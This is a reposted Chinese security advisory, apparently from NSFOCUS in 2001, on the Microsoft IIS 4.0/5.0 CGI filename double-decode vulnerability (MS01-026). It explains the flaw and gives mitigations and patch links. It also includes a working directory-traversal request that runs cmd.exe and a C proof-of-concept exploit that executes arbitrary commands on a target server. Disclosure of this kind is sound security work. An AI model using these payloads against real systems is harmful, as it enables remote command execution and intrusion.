发信人: swak() 
整理人: williamlong(2001-05-18 12:16:14), 站内信件
 | 
 
 
Microsoft IIS CGI文件名错误解码漏洞
 
 发布日期: 2001-5-16
  
 更新日期: 2001-5-16 
 受影响的系统:  
    Microsoft IIS 4.0 
    Microsoft IIS 5.0 
 不受影响系统:  
    Windows IIS 4.0 (sp6/sp6a 没有安装其他新的hotfix) 
 描述:
 --------------------------------------------------------------------------------
  
 
 CVE CAN ID : CAN-2001-0333
 BUGTRAQ ID : 2708
 
 NSFOCUS安全小组发现微软IIS 4.0/5.0在处理CGI程序文件名时存在一个安全
 漏洞,由于错误地对文件名进行了两次解码,攻击者可能利用这个漏洞执行任意
 系统命令。
 
 IIS在加载可执行CGI程序时,会进行两次解码。第一次解码是对CGI文件名进行http
 解码,然后判断此文件名是否为可执行文件,例如检查后缀名是否为".exe"或".com"
 等等。在文件名检查通过之后,IIS会再进行第二次解码。正常情况下,应该只对该
 CGI的参数进行解码,然而,IIS错误地将已经解码过的CGI文件名和CGI参数一起进行
 解码。这样,CGI文件名就被错误地解码了两次。
 
 通过精心构造CGI文件名,攻击者可以绕过IIS对文件名所作的安全检查,例如对"../"
 或"./"的检查,在某些条件下,攻击者可以执行任意系统命令。
 
 例如,对于'\'这个字符,正常编码后是%5c。这三个字符对应的编码为:
 '%' = %25
 '5' = %35
 'c' = %63
 
 如果要对这三个字符再做一次编码,就可以有多种形式,例如:
 %255c
 %%35c
 %%35%63 
 %25%35%63
 ...
 
 因此,"..\"就可以表示成"..%255c"或"..%%35c"等等形式。
 
 在经过第一次解码之后,变成"..%5c"。IIS会认为这是一个正常的字符串,
 不会违反安全规则检查。而在第二次被解码之后,就会变成"..\"。因此
 攻击者就可以使用"..\"来进行目录遍历,执行web目录之外的任意程序。
 
 <*来源:NSFOCUS安全小组 ( [email protected] )
         主页地址:ttp://www.nsfocus.com
 *>
 
  
 测试程序:
 --------------------------------------------------------------------------------
  
 警 告
 
 以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
 
  
 
 例如,如果TARGET存在一个虚拟可执行目录(scripts),并且它与
 windows系统在同一驱动器上。那么提交类似下列请求:
 
 http://TARGET/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
 
 就会列出C:\的根目录。
 
 当然,对于'/'或者'.'做变换同样可以达到上面的效果。
 例如:"..%252f", ".%252e/"...
 
 注意:攻击者只能以IUSER_machinename用户的权限执行命令。
 
 Filip Maertens <[email protected]>提供了一个演示程序:
 
 /*
 *
 * execiis.c - (c)copyright Filip Maertens
 * BUGTRAQ ID: 2708 - Microsoft IIS CGI Filename Decode Error
 *
 * DISCLAIMER:    This  is  proof of concept code.  This means, this code
 * may only be used on approved systems in order to test the availability
 * and integrity of machines  during a legal penetration test.  In noway
 * is the  author of  this exploit  responsible for the use and result of
 * this code.
 *
 */
 
 #include <stdio.h>
 #include <stdlib.h>
 #include <sys/socket.h>
 #include <sys/types.h>
 #include <netinet/in.h>
 #include <unistd.h>
 #include <string.h>
 
 
 /* Modify this value to whichever sequence you want.
 *
 * %255c = %%35c = %%35%63 = %25%35%63 = /
 *
 */
 
 #define SHOWSEQUENCE "/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+"
 
 
 
 int main(int argc, char *argv[])
 {
 
 struct sockaddr_in sin;
 char recvbuffer[1], stuff[200];
 int create_socket;
 
 printf("iisexec.c | Microsoft IIS CGI Filename Decode Error |
 <[email protected]>\n-------------------------------------------------------------------------\n");
 
 if (argc < 3)
 {
   printf(" -- Usage: iisexec [ip] [command]\n");
   exit(0);
 }
 
 
 if (( create_socket = socket(AF_INET,SOCK_STREAM,0)) > 0 )
 printf(" -- Socket created.\n");
 
 sin.sin_family = AF_INET;
 sin.sin_port = htons(80);
 sin.sin_addr.s_addr = inet_addr(argv[1]);
 
 if (connect(create_socket, (struct sockaddr *)&sin,sizeof(sin))==0)
 printf(" -- Connection made.\n");
 else
 { printf(" -- No connection.\n"); exit(1); }
 
 
 strcat(stuff, "GET ");
 strcat(stuff, SHOWSEQUENCE);
 strcat(stuff, argv[2]);
 strcat(stuff, " HTTP/1.0\n\n");
 
 memset(recvbuffer, '\0',sizeof(recvbuffer));
 
 send(create_socket, stuff, sizeof(stuff), 0);
 recv(create_socket, recvbuffer, sizeof (recvbuffer),0);
 
 
 
 if ( ( strstr(recvbuffer,"404") == NULL ) )
 
      printf(" -- Command output:\n\n");
      while(recv(create_socket, recvbuffer, 1, 0) > 0)
    {
      printf("%c", recvbuffer[0]);
    }
 
 else
   printf(" -- Wrong command processing. \n");
 
 close(create_socket);
 
 }
 
 // EOF - More exploits @ http://vorlon.hexyn.be
  
 
 --------------------------------------------------------------------------------
 建议: 
 
 临时解决方法:
 
 1、如果不需要可执行的CGI,可以删除可执行虚拟目录,例如 /scripts等等。
 2、如果确实需要可执行的虚拟目录,建议将可执行虚拟目录单独放在一个分区
 3、将所有可被攻击者利用的命令行工具移到另外一个目录中并禁止GUEST组
     访问。
 
 厂商补丁:
 
 微软已就此发布了一个安全公告(MS01-026)以及相应补丁。
 
 您可以在下列地址看到微软安全公告的详细内容:
 
 http://www.microsoft.com/technet/security/bulletin/ms01-026.asp
 
 补丁程序可以在下列地址下载:
 
 . Microsoft IIS 4.0:
   http://www.microsoft.com/Downloads/Release.asp?ReleaseID=29787
 
 . Microsoft IIS 5.0:
   http://www.microsoft.com/Downloads/Release.asp?ReleaseID=29764
 
  
  | 
 
 
 |